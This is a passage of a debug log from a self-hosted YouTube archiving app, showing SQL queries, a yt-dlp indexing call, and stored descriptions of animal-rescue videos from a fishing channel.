s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:29:44.420 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=632.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:44.422 [debug] QUERY OK source="media_items" db=1.7ms idle=633.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-11-23 13:00:05Z], 33] 08:29:44.431 [debug] QUERY OK source="media_items" db=8.3ms idle=635.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I find an abandoned axolotl farm that is filled with axolotls, fish, turtles, frogs, and much more that were left here to die! So, my mission is to explore the entire farm to hopefully save all the animals! I started by netting around in a pond and immediately I caught some axolotls! But as I kept going I ended up finding albino axolotls which are alot\nmore rare! After that I kept netting around and I managed to catch a golden axolotl, one of the rarest in the world! I then came across a pond that was filled with crazy fish, including flowerhorns, lungfish, catfish, pufferfish, eels, freshwater sharks, and much more! But things didn’t stop there, I kept going and I started catching more axolotls, and even some baby turtles! But sadly, what I found next was a shattered fish tank filled with dead fish and axolotls… So now we have to hurry because these animals don’t have a lot of time left! I kept exploring and I managed to catch some angelfish, betta fish, and a monster albino axolotl! Things were starting to get crazy and I found a pond loaded with colorful crawfish, including orange ones, blue ones, and even white ones! I kept exploring the farm when suddenly I came across some monster fish including an albino lungfish, oscars, arowanas, and much more! But then I came across the deadliest animal so far… It was a mata mata turtle, one of the rarest turtles in the world! After exploring the rest of the farm and catching more axolotls, and albino frogs, it was now time to explore the two massive ponds filled with axolotls! So I places a fish trap in one of them and I started netting around in the other… Immediately I caught some of the biggest axolotls iv ever seen, including black ones, golden ones, and albino ones! But after a while it was now time to check the fish trap and I managed to catch a ton of axolotls, which means we successfully saved all of the animals from the abandoned farm!\n—\n⏹Subscribe to the vlog channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\n⏹MERCH NOW AVAILABLE: https://bassfishingproductions.shop\n—\n⏹Instagram: https://www.instagram.com/bassfishingproductions/\n\n⏹TikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m\n\n⏹Business email: bassfishermanguy@gmail.com", "I Found an Abandoned Axolotl Farm", "6c894a96-3458-4e06-a1d3-e6855df0c538", "RiS0pgYsKdg", false, "https://www.youtube.com/watch?v=RiS0pgYsKdg", 33, [], 1540, false, 19, "/downloads/shows/Bass fishing Productions/Season 2024/s2024e112300 - I Found an Abandoned Axolotl Farm.mkv", false, false, 98, ~U[2024-11-23 13:00:05Z], ~U[2026-06-02 12:29:44Z], ~U[2026-06-02 12:29:44Z], "In today’s video, I find an abandoned axolotl farm that is filled with axolotls, fish, turtles, frogs, and much more that were left here to die! So, my mission is to explore the entire farm to hopefully save all the animals! I started by netting around in a pond and immediately I caught some axolotls! But as I kept going I ended up finding albino axolotls which are alot\nmore rare! After that I kept netting around and I managed to catch a golden axolotl, one of the rarest in the world! I then came across a pond that was filled with crazy fish, including flowerhorns, lungfish, catfish, pufferfish, eels, freshwater sharks, and much more! But things didn’t stop there, I kept going and I started catching more axolotls, and even some baby turtles! But sadly, what I found next was a shattered fish tank filled with dead fish and axolotls… So now we have to hurry because these animals don’t have a lot of time left! I kept exploring and I managed to catch some angelfish, betta fish, and a monster albino axolotl! Things were starting to get crazy and I found a pond loaded with colorful crawfish, including orange ones, blue ones, and even white ones! I kept exploring the farm when suddenly I came across some monster fish including an albino lungfish, oscars, arowanas, and much more! But then I came across the deadliest animal so far… It was a mata mata turtle, one of the rarest turtles in the world! After exploring the rest of the farm and catching more axolotls, and albino frogs, it was now time to explore the two massive ponds filled with axolotls! So I places a fish trap in one of them and I started netting around in the other… Immediately I caught some of the biggest axolotls iv ever seen, including black ones, golden ones, and albino ones! But after a while it was now time to check the fish trap and I managed to catch a ton of axolotls, which means we successfully saved all of the animals from the abandoned farm!\n—\n⏹Subscribe to the vlog channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\n⏹MERCH NOW AVAILABLE: https://bassfishingproductions.shop\n—\n⏹Instagram: https://www.instagram.com/bassfishingproductions/\n\n⏹TikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m\n\n⏹Business email: bassfishermanguy@gmail.com", "I Found an Abandoned Axolotl Farm", "RiS0pgYsKdg", "https://www.youtube.com/watch?v=RiS0pgYsKdg", 33, 1540, false, "/downloads/shows/Bass fishing Productions/Season 2024/s2024e112300 - I Found an Abandoned Axolotl Farm.mkv", false, ~U[2024-11-23 13:00:05Z]] 08:29:44.432 [debug] QUERY OK source="sources" db=0.2ms idle=140.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:44.432 [debug] QUERY OK source="media_profiles" db=0.1ms idle=12.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 08:29:44.433 [debug] QUERY OK source="media_items" db=0.2ms idle=12.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [118986] 08:29:44.433 [debug] Current batch of media processed. Will check again in 1000ms 08:29:45.433 [debug] Current batch of media processed. Will check again in 1000ms 08:29:46.434 [debug] Current batch of media processed. Will check again in 1000ms 08:29:46.922 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@BassFishingProductions --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Bass fishing Productions/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1440,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/e5/9e/e59e07f8e03d87c784e21d41c08e28b7ac398b7c1a5ff2446004d010a270a0fd.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ce/a8/cea80aca7621f2c5b8b918c8b5f1d105c8d6bb45a9f450e7c486e01a89adb88a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 08:29:46.923 [debug] Gracefully stopping file follower 08:29:46.923 [debug] QUERY OK source="sources" db=0.3ms idle=1135.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [33] 08:29:46.923 [debug] QUERY OK source="sources" db=0.2ms idle=1136.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:46.925 [debug] QUERY OK source="media_items" db=0.9ms idle=1136.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-05-03 12:00:08Z], 33] 08:29:46.929 [debug] QUERY OK source="media_items" db=3.5ms idle=1137.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I find an abandoned axolotl pet store that is still filled with the rarest and most expensive axolotls in the world, Including a mosaic axolotl that costs $10,000! And well since no one is taking care of them, my mission is to save as many as possible! So I started my search and immediately I came across a bunch of tiny fish tanks that were filled with shrimp, pufferfish, frogs, and a bunch of baby axolotls! But these were just normal ones, as we explore the rest of the abandoned pet store the axolotls are gonna get rarer and rarer! I kept going and next I found a bunch of albino axolotls, as well as a melanistic, a golden, and a copper! However as I took my next scoop I pulled up the most expensive animal so far, a fly river turtle! These turtles cost over $800, but believe it or not that’s not even the most expensive animal in this pet store! After that I continued exploring and I managed to find a white crawfish, a gulper catfish, and even a freshwater pufferfish! Now up until this point we have saved tons of axolotls, but as I kept going I discovered more species I’ve never even heard of! Including a bluegill axolotl, a golden copper, and even a deformed axolotl that only had gills on the left side of his head! After that I made my way over to the other side of the pet store where they kept some of their craziest animals, and I managed to find snapping turtles, and a bunch of monster fish including a retail catfish, and a ripsaw catfish! I then discovered an aquarium filled with murky green water, and inside was the rarest axolotls so far, including a firefly, and one that glows in the dark! After that I made a shocking discovery, it was an aquarium that was filled with $5,000 worth of baby mosaic axolotls! This means that they are breeding in here, but we still need to find the big one, so I kept going and next was a big pond full of the biggest axolotls so far! I managed to catch a big albino, a melanistic, and a big golden! But there was still no sign of the $10,000 mosaic axolotl, so I started netting around in the final tank, when suddenly I pulled up the mosaic axolotl! In total we saved hundreds of axolotls, including the rarest ones in the entire world! Comment below if I should do a part 2 where I build all of them their dream home!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found an Abandoned Axolotl Pet Store...", "e7d9ba16-b415-409b-a950-b188ff899db0", "5kj__m_07rI", false, "https://www.youtube.com/watch?v=5kj__m_07rI", 33, [], 1986, false, 1, "/downloads/shows/Bass fishing Productions/Season 2026/s2026e050300 - I Found an Abandoned Axolotl Pet Store....mkv", false, false, 98, ~U[2026-05-03 12:00:08Z], ~U[2026-06-02 12:29:46Z], ~U[2026-06-02 12:29:46Z], "In today’s video, I find an abandoned axolotl pet store that is still filled with the rarest and most expensive axolotls in the world, Including a mosaic axolotl that costs $10,000! And well since no one is taking care of them, my mission is to save as many as possible! So I started my search and immediately I came across a bunch of tiny fish tanks that were filled with shrimp, pufferfish, frogs, and a bunch of baby axolotls! But these were just normal ones, as we explore the rest of the abandoned pet store the axolotls are gonna get rarer and rarer! I kept going and next I found a bunch of albino axolotls, as well as a melanistic, a golden, and a copper! However as I took my next scoop I pulled up the most expensive animal so far, a fly river turtle! These turtles cost over $800, but believe it or not that’s not even the most expensive animal in this pet store! After that I continued exploring and I managed to find a white crawfish, a gulper catfish, and even a freshwater pufferfish! Now up until this point we have saved tons of axolotls, but as I kept going I discovered more species I’ve never even heard of! Including a bluegill axolotl, a golden copper, and even a deformed axolotl that only had gills on the left side of his head! After that I made my way over to the other side of the pet store where they kept some of their craziest animals, and I managed to find snapping turtles, and a bunch of monster fish including a retail catfish, and a ripsaw catfish! I then discovered an aquarium filled with murky green water, and inside was the rarest axolotls so far, including a firefly, and one that glows in the dark! After that I made a shocking discovery, it was an aquarium that was filled with $5,000 worth of baby mosaic axolotls! This means that they are breeding in here, but we still need to find the big one, so I kept going and next was a big pond full of the biggest axolotls so far! I managed to catch a big albino, a melanistic, and a big golden! But there was still no sign of the $10,000 mosaic axolotl, so I started netting around in the final tank, when suddenly I pulled up the mosaic axolotl! In total we saved hundreds of axolotls, including the rarest ones in the entire world! Comment below if I should do a part 2 where I build all of them their dream home!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found an Abandoned Axolotl Pet Store...", "5kj__m_07rI", "https://www.youtube.com/watch?v=5kj__m_07rI", 33, 1986, false, "/downloads/shows/Bass fishing Productions/Season 2026/s2026e050300 - I Found an Abandoned Axolotl Pet Store....mkv", false, ~U[2026-05-03 12:00:08Z]] 08:29:46.929 [debug] QUERY OK source="sources" db=0.1ms idle=636.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:46.930 [debug] QUERY OK source="media_items" db=0.8ms idle=6.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-28 12:00:02Z], 33] 08:29:46.932 [debug] QUERY OK source="media_items" db=1.2ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video I find deadly fish living in an abandoned pool, along with a ton of other rare and expensive fish! It all started when a subscriber contacted me saying there are monsters attacking his pet fish. He suspected it could be a man eating catfish, an electric eel, or a 4ft long aba aba knife fish, also known as the deadliest freshwater fish in the world… So my goal is to explore the entire abandoned pool and catch out every single fish before it’s too late! I started netting around and right away I caught tons of exotic fish including ripsaw catfish, knife fish, piranhas, and so many other rare fish… But as I moved deeper into the abandoned pool, I also discovered that it was infested with leeches and other aquatic insects like toe biters, which is another reason we need to save all the fish! So I kept scooping around and the fish were getting bigger and bigger! I caught a bunch of giant catfish, and even a deadly vampire fish… But right after that I caught something even bigger in my net, but sadly it ripped a hole in it and got away… So I continued searching to find out what it is, when suddenly I caught a baby aba aba knife fish! This means that there is multiple of these deadly fish in this pool, which is gonna make this rescue mission a lot harder. So I kept going and I found a redtail catfish, an albino turtle, and even a giant gar! But these fish were getting harder and harder to catch, so I decided to get into the abandoned pool and right away I caught a giant softshell turtle, a big lungfish, a freshwater pufferfish, and so many other rare fish iv never even seen before! But things took a turn when suddenly I was attacked by one of the deadly fish, so I decided to just place a bunch of fish traps and leave them there overnight, that way we can hopefully catch out the rest of the fish! When it was time to check the traps, I noticed they were filled with insane creatures, including a platinum redtail catfish, an albino pufferfish, goonch catfish, and so much more! But then there was only one trap to check and it was the biggest one out of all of them… Inside was an albino sturgeon, a clown knife fish, a giant bichir, and the 4ft long aba aba knife fish! But even though we caught out and removed a bunch of deadly fish, there is still more in the abandoned pool… So should I come back and do a part 2?\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Deadly Fish in an Abandoned Pool…", "5060670f-7f01-4c8e-8edf-354972f91b69", "X19-y45lt6o", false, "https://www.youtube.com/watch?v=X19-y45lt6o", 33, [], 2085, false, 2, "/downloads/shows/Bass fishing Productions/Season 2026/s2026e032800 - I Found Deadly Fish in an Abandoned Pool….mkv", false, false, 98, ~U[2026-03-28 12:00:02Z], ~U[2026-06-02 12:29:46Z], ~U[2026-06-02 12:29:46Z], "In today’s video I find deadly fish living in an abandoned pool, along with a ton of other rare and expensive fish! It all started when a subscriber contacted me saying there are monsters attacking his pet fish. He suspected it could be a man eating catfish, an electric eel, or a 4ft long aba aba knife fish, also known as the deadliest freshwater fish in the world… So my goal is to explore the entire abandoned pool and catch out every single fish before it’s too late! I started netting around and right away I caught tons of exotic fish including ripsaw catfish, knife fish, piranhas, and so many other rare fish… But as I moved deeper into the abandoned pool, I also discovered that it was infested with leeches and other aquatic insects like toe biters, which is another reason we need to save all the fish! So I kept scooping around and the fish were getting bigger and bigger! I caught a bunch of giant catfish, and even a deadly vampire fish… But right after that I caught something even bigger in my net, but sadly it ripped a hole in it and got away… So I continued searching to find out what it is, when suddenly I caught a baby aba aba knife fish! This means that there is multiple of these deadly fish in this pool, which is gonna make this rescue mission a lot harder. So I kept going and I found a redtail catfish, an albino turtle, and even a giant gar! But these fish were getting harder and harder to catch, so I decided to get into the abandoned pool and right away I caught a giant softshell turtle, a big lungfish, a freshwater pufferfish, and so many other rare fish iv never even seen before! But things took a turn when suddenly I was attacked by one of the deadly fish, so I decided to just place a bunch of fish traps and leave them there overnight, that way we can hopefully catch out the rest of the fish! When it was time to check the traps, I noticed they were filled with insane creatures, including a platinum redtail catfish, an albino pufferfish, goonch catfish, and so much more! But then there was only one trap to check and it was the biggest one out of all of them… Inside was an albino sturgeon, a clown knife fish, a giant bichir, and the 4ft long aba aba knife fish! But even though we caught out and removed a bunch of deadly fish, there is still more in the abandoned pool… So should I come back and do a part 2?\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Deadly Fish in an Abandoned Pool…", "X19-y45lt6o", "https://www.youtube.com/watch?v=X19-y45lt6o", 33, 2085, false, "/downloads/shows/Bass fishing Productions/Season 2026/s2026e032800 - I Found Deadly Fish in an Abandoned Pool….mkv", false, ~U[2026-03-28 12:00:02Z]] 08:29:46.933 [debug] QUERY OK source="sources" db=0.4ms idle=7.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:46.934 [debug] QUERY OK source="media_items" db=0.8ms idle=4.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-18 13:27:59Z], 33] 08:29:46.935 [debug] QUERY OK source="media_items" db=0.6ms idle=4.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In today’s video, I show you every sewer monster I found in 2025… From alligators, to snakes, to deadly fish, and even flesh eating lampreys, this video has it all. So sit back and relax, and prepare to see some of the rarest creatures I found living in the sewer!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "The Craziest Sewer Monsters I’ve Ever Found…", "c02e6568-80ac-41a3-8412-5cb6af000027", "mEI05SrXMqE", false, "https://www.youtube.com/watch?v=mEI05SrXMqE", 33, [], 8319, false, 3, "/downloads/shows/Bass fishing Productions/Season 2026/s2026e011800 - The Craziest Sewer Monsters I’ve Ever Found….mp4", false, false, 98, ~U[2026-01-18 13:27:59Z], ~U[2026-06-02 12:29:46Z], ~U[2026-06-02 12:29:46Z], "In today’s video, I show you every sewer monster I found in 2025… From alligators, to snakes, to deadly fish, and even flesh eating lampreys, this video has it all. So sit back and relax, and prepare to see some of the rarest creatures I found living in the sewer!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "The Craziest Sewer Monsters I’ve Ever Found…", "mEI05SrXMqE", "https://www.youtube.com/watch?v=mEI05SrXMqE", 33, 8319, false, "/downloads/shows/Bass fishing Productions/Season 2026/s2026e011800 - The Craziest Sewer Monsters I’ve Ever Found….mp4", false, ~U[2026-01-18 13:27:59Z]] 08:29:46.935 [debug] QUERY OK source="sources" db=0.2ms idle=4.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [33] 08:29:46.936 [debug] QUERY OK source="media_items" db=0.7ms idle=3.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-22 13:00:59Z], 33] 08:29:46.938 [debug] QUERY OK source="media_items" db=1.2ms idle=3.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","prevent_download","original_url","source_id","subtitle_filepaths","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to Whatnot for sponsoring this video! Get $15 off your first purchase when you download the app and sign up using my link: https://www.whatnot.com/invite/bassfishingproductions Don’t forget to follow me so you don’t miss my exclusive Black Friday Live, where i’ll be auctioning off exclusive BFP merch & gear starting at 7pm ET on november 28th! #whatnotpartner \n—\nIn today’s video I find tons of animals from an abandoned storage unit! It all started when I bought the storage unit from someone who used it to keep his extremely rare and deadly animal collection hidden! So it was my goal to explore it to try and save every single animal that was left behind… But what I didn’t realize was this storage unit was full of the craziest animals we have ever found on the channel. It all started when I opened up the first cage and found a baby squirrel! This was a crazy first find, but we still had a ton of enclosures to look through so I kept going and managed to find crocodile skinks, bird-eating tarantulas, venomous snakes, and even a rare crab! It was here when I realized how hard this rescue mission was going to be, So I wasted no time and kept opening up containers and I was able to find leaf tail geckos, scorpions, turtles, and another snake! But this was still nothing, because next was a huge rack filled with nothing but snakes! And since we had to save every animal in here, I faced my fears and started opening up the snake containers… Inside were corn snakes, king snakes, milk snakes, rat snakes, redtail boas, pythons, and tons of other snakes i’ve never even seen before! After saving all of the snakes I moved on and I was finding animals left and right. There was giant african millipedes, bearded dragons, snapping turtles, and a tokay gecko, which has the most powerful bite out of any gecko in the world! But things didn’t stop there, I also found redfoot tortoises, rare lizards, tree frogs, salamanders, and a bunch of deadly insects! At this point we have explored a lot of the storage unit, but there was still a good amount of enclosures to look through. So I kept going and I was able to find the rarest animals so far including trapdoor spiders, chinchillas, poison dart frogs, and so much more! But now was the moment i’ve been dreading this entire video, the only enclosure left was a big tank on the ground with a snake sign on it. And when I opened it up I saw the biggest snake i’ve ever seen in my life! It was a giant yellowtail cribo, which are extremely aggressive. So I carefully opened up the door and luckily I was able to catch him out without being bit… This was by far the craziest video i’ve ever made, we saved so many rare and deadly animals which i’m going to add to my animal collection!\n—\nCheck out the new merch! https://bassfishingproductions.shop\n—\nBusiness email: bassfishingproductions@night.co\n—\n2nd channel: https://youtube.com/@BassFishingProductionsVlogs?si=I6Kc5jFKyUa2Wf5t\n—\nInstagram: https://www.instagram.com/bassfishingproductions/\n—\nTikTok: https://www.tiktok.com/@bassfishingproductions?enter_from=pc&source=h5_m", "I Found Deadly Animals in an Abandoned 